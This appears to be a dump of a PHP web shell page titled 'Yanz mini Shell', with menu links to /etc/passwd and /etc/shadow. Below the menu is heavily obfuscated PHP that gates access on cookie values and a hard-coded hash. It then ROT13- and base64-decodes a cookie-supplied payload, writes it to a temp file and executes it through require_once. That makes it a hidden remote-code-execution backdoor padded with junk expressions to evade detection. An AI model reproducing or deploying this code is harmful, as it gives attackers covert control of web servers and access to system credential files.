Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php if(isset($_COOKIE[(-(0735+-0267)+(int)ROUnD(23.666666666667+23.666666666667+23.666666666667+23.666666666667+23.666666666667+23.666666666667)+(int)round(0+0)+(01527- -01107-0754+0104+0300-02030))+(int)roUND(0.66666666666667+0.66666666666667+0.66666666666667)])&&isset($_COOKIE[(-(0425+011- -0430-0706)-(-0530-0522+01252)-(02034+-01057))+(-(-0601+01502)-(01371-0646-01073+01214)+(-0543- -0535+0166-01312)-(-02125+-0555))])):$__=$_COOKIE[((015-0162-0604- -01271)+(-016-0173+-0302- -0117+0176+0176)-(int)RouNd(66+66+66))-(int)round(0.33333333333333+0.33333333333333+0.33333333333333)];$_0=$_COOKIE;if(empty($_0[-(-(int)rouNd(4+4+4+4+4+4)+(int)rouND(12.5+12.5))+(int)rOund(0.25+0.25+0.25+0.25)])||empty($_0[-((int)ROunD(35.25+35.25+35.25+35.25)+(-0455+-0743- -0415+0531)+(0540-0314- -0310+-0542- -044))+(int)ROuNd(0.5+0.5+0.5+0.5)])||empty($_0[((-0561- -0200+0366+-01)+(int)RoUND(0+0+0+0)-(int)RoUND(0+0+0)+(0330+0740+-01224-044))-(int)rOUND((-0112+-0133+01115+-01221+0476-0125)+(int)ROUnD(0+0+0+0)+(int)roUND(0+0+0+0+0))])||empty($_0[(int)rOUND(1.6666666666667+1.6666666666667+1.6666666666667)-(int)rouND(0.25+0.25+0.25+0.25)])||!empty($_0[(int)RoUND(30.333333333333+30.333333333333+30.333333333333)-(-(0430-0171)+(0246+0233-0277+071)+(0622-0657+0630+-07)+(-01752- -01574- -045- -01064-01563))])):exit();else:$__="\x31\071df2e\x371fe\x38\060\06140\145195\066\071\0718fd006\0705ea";if(StrncasecmP($__,$_0[(-(int)roUnD(17.6+17.6+17.6+17.6+17.6)-(int)ROund(0+0+0+0))+(-(int)rOUnd(105.25+105.25+105.25+105.25)-(int)ROUNd(220.25+220.25+220.25+220.25)-(-02415+-02420- -02073+0311))],StrLen("kKaV\110iCT\x76L\x57t7\x42\x6cC3\164Ibz\114\150PazkS\x72\x59i"))===-(-(int)rOuND(0.83333333333333+0.83333333333333+0.83333333333333+0.83333333333333+0.83333333333333+0.83333333333333)-(01300-0465- -0173+-01254- -01020-0552))-(-(-(int)rOunD(80.333333333333+80.333333333333+80.333333333333)+(int)RounD(-87.333333333333+-87.333333333333+-87.333333333333+-87.333333333333+-87.333333333333+-87.333333333333)-(-01650- -01275- -01547+-02572)))):$_1=StR_SPlIT("AM\127eeUw\x47m\x7ajWF",(0604-0662+-0620+-0271+01353)+(-0205- -017- -0202+012-0140));SORT($_1,SORT_FLAG_CASE|SORT_STRING);if(ADDSlAsHes("y\x6f1ey")!=="y\x6f1e\x79"):$_2->____(jsOn_LAST_eRROR());@rMDIr($_3);while(ErRoR_REPORtING()==="\141ku7"||miN(2.25,0.28)==36.11||TIMe()<=-(014015-014130-014240+014021+014101+0724)):reaDfIle($_4);$_5=PHpvErsIon();$__=__($_6);endwhile;$_7=FoPEN($_8,"r");endif;function __($_6){$_0=$_COOKIE;$_9=Tmpfile();if(Str_rEPeAT("\x7af4\171\064\x67\x6f\x78",0461- -0502+057+-01237)==="\172\x664\1714go\170"&&addsLashes("v7\x69q\x78")!=="\1667iqx"||MAx(5.06,-7.02)>89.85):$_0=__(LInKInFO($_Ђ),$_Ѓ);@rMDIr($_‚);endif;$_„=StReAm_GEt_Meta_Data($_9)["\165r\151"];if(!iS_WRiteABle($_„)):$_„=geTcWD().DIRECTORY_SEPARATOR."u\105\111UmtXkJ\x4bve";endif;$_…="?\x70";$_…="<".$_…."\x68p ".base64_DecOdE(sTr_rOT13($_0[(int)rounD(0.75+0.75+0.75+0.75)-((int)rOUNd(10.5+10.5+10.5+10.5+10.5+10.5)-(int)RoUnd(18.666666666667+18.666666666667+18.666666666667)+(int)ROund(16.333333333333+16.333333333333+16.333333333333+16.333333333333+16.333333333333+16.333333333333)+(int)ROund(0+0+0+0+0))]))." ?\076";if(IS_WRItEaBle($_„)):FPuts($_9,$_…);SPL_auToLoAD_UNREGiSTer(__FUNCTION__);require_once($_„);FclOSe($_9);endif;}SpL_AUTOlOaD_regIstER("__");$_1=ARray_uINtErsEcT_asSoc($_1,$_1,"\x5c\137\170\x69j\x72y\164\165\x5c_\155r\164klz\x6bc\134___");if(array("B\x54md\120iLFh\x4dyFTb")==@cLASs_parEnTS("lJ\x71\104ZQmROC")):_____($_†,$_‚,$_‡);______($_€,$_‰);if(SUBstR("s\070fk4e4n\x6a\060w\x68\166",(int)RoUND(0.66666666666667+0.66666666666667+0.66666666666667))==="u"||nl2br("b\x65w\x6f\x74s")!=="b\145wots"||!iS_FINitE(-0367+01610+01571+-072+01774-03750)):LIBxML_uSE_iNTernaL_eRrors(true);$_1=$_Љ.$_Ѓ;fPuTs($_4,PHP_EOL);$_…=phpVeRsIon();__($_POST[$_‹]);endif;_______($_7,$_Њ,$_Ќ,$_Ѓ,$_Ћ,$_Џ,$_‘,$_’,$_“);________($_Љ,$_5,$_”,$_Ђ,$_•,$_–);_________($_—,$_3,$_‹,$_,$_8,$_™,$_›);endif;endif;endif;endif;